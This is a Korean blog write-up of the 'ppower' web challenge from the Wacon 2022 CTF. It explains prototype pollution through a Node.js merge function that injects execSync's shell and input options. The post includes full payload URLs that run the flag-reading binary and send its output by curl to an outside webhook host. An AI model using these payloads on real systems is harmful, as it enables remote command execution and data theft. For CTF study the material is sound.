<Wargame & CTF>

[2022 Wacon] ppower

gosoeungduk 2022. 6. 29. 01:27
반응형

#PrototypePollution #node.js #web #ppower


대회때 못푼 문제 복기입니다. 대회 중 제일 못풀어서 아쉬운 문제

문제파일은 아래와 같다.

// index.js
#!/usr/bin/env node
const express = require("express");
const childProcess = require("child_process");

const app = express();
const saved = Object.create(null);
const config = {};

const merge = function (t, src) {
  for (var v of Object.getOwnPropertyNames(src)) {
    if (typeof src[v] === "object") {
      if (!t[v]) t[v] = {};
      merge(t[v], src[v]);
    } else {
      t[v] = src[v];
    }
  }
  console.log(Object.__proto__);
  return t;
};

const sendFlag = (res) => {
  try {
    // TODO: Fix the typo
    let flagggggggggggg = childProcess.execSync("/readflag", {
      env: Object.create(null),
      cwd: "/",
      timeout: 1000,
    });
    return res.send(flaggggggggggg);
  } catch (e) {
    console.log(e);
  }
  res.send("lol");
};

const recover = (_) => {
  for (let v of Object.getOwnPropertyNames(Object.prototype)) {
    if (v in saved) {
      Object.prototype[v] = saved[v];
    } else {
      delete Object.prototype[v];
    }
  }
};

app.get("/", (req, res) => res.sendFile(`${process.cwd()}/index.html`));

app.get("/answer", (req, res) => {
  let r = merge({}, req.query);
  res.type("text/plain");

  if (r.answer == "It's-none-of-your-business") {
    if (!config.flagForEveryone) {
      res.send(":(").end();
    } else {
      sendFlag(res);
    }
  } else {
    res.send("oh ok").end();
  }

  recover();
});

(function () {
  for (let v of Object.getOwnPropertyNames(Object.prototype)) {
    saved[v] = Object.prototype[v];
  }
  Object.freeze(saved);

  if (process.env.flagForEveryone) {
    config.flagForEveryone = true;
  }
})();

app.listen(8000);

우선 같이 던져준 도커를 구축해보면 알겠지만, /realreadflag flagflagflag 를 트리거 시키는 것이 최종 목표이다.

try {
    // TODO: Fix the typo
    let flagggggggggggg = childProcess.execSync("/readflag", {
      env: Object.create(null),
      cwd: "/",
      timeout: 1000,
    });
    return res.send(flaggggggggggg);

그리고 flagggggggggggg 변수와 send 하는 변수의 철자도 다르다.

고로 코드에서 위와 같은 부분은 페이크이고, 코드에서 같이 던져준 merge 함수를 이용해서 프로토타입 오염을 일으키고, 그것을 통해 /realreadflag flagflagflag 를 트리거 시키는 것이 답이라고 대회 당시에 판단하였다.

그래서 http://localhost:8080/answer?answer=It's-none-of-your-business&constructor[flagForEveryone]=1 까지는 접근을 했었는데, 당최 어느 부분에서 쉘을 따서 플래그를 읽을 수 있을지 감을 못잡았다.

그리고 대회 종료 직후, 출제자분과 풀이자분들의 payload 를 보니 이해가 되었다.

http://175.123.252.136:8080/answer?answer=It%27s-none-of-your-business&f1[constructor][prototype][flagForEveryone]=ok&f3[constructor][prototype][shell]=/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp&f4[constructor][prototype][input]=require(%27child_process%27).execSync(%27curl%20웹훅주소?a=%60/realreadflag%20flagflagflag%20%7C%20base64%60%27)

payload 의 요점은 바로 공식 문서에 있다.

(진짜 공식 docs 의 중요성을 다시한번 느낀다...)

execSync 의 속성 중, shellinput 속성이 요점이다!

shell : childProcess 가 실행되는 쉘 환경을 지정
input : childProcess 에 input 으로 전달해주는 인자. (어째서인지 shell 에 지정된 바이너리에도 전달이 된다)

let flagggggggggggg = childProcess.execSync("/readflag", {
      env: Object.create(null),
      cwd: "/",
      timeout: 1000,
    });

다시 여기를 보면 childProcessexecSync 함수를 사용한다.

{
      env: Object.create(null),
      cwd: "/",
      timeout: 1000,
}

execSync 의 options 인자는 위와 같이 object 타입이고, merge 함수를 통해 object 의 __proto__ 를 오염시킬 수 있다.

그러면 이 때, 프로토타입 오염을 이용해서 {}.shell{}.input 이 형성되게끔 만들어주면 문제소스에서 사용되는 execSync 에서 env, cwd, timeout 속성 외에도 shell, input 속성이 추가적으로 인식되게끔 조작할 수 있는 것이다.

이제 여기서 shell 을 기본 값인 /bin/sh/bin/bash 말고도 cli 를 사용할 수 있는 python 이나 node 를 사용해도 먹힌다...!

풀이자 분들 중 한 분이 사용한 것은 /sbin/debugfs 라는 cli 를 사용할 수 있는 바이너리 였다. 그리고 여기에 curl 명령을 통해 내 웹서버로 패킷 하나만 날려주면 플래그를 받을 수 있는 원리였다.

/realreadflag flagflagflag 와 curl 까지 적용해준 완성된 payload 는 다음과 같다. 테스트용으로 드림핵 서버를 이용해보았다.

http://175.123.252.136:8080/answer?constructor[prototype][flagForEveryone][flagForEveryone]=1&constructor[prototype][shell]=/sbin/debugfs&constructor[prototype][stdio]=pipe&constructor[prototype][input]=!/realreadflag%20flagflagflag%20%7C%20curl%20-X%20POST%20--data-binary%20@-%20https://coxgnit.request.dreamhack.games&answer=It%27s-none-of-your-business

플래그가 완벽하게 오는 것을 볼 수 있다.

반응형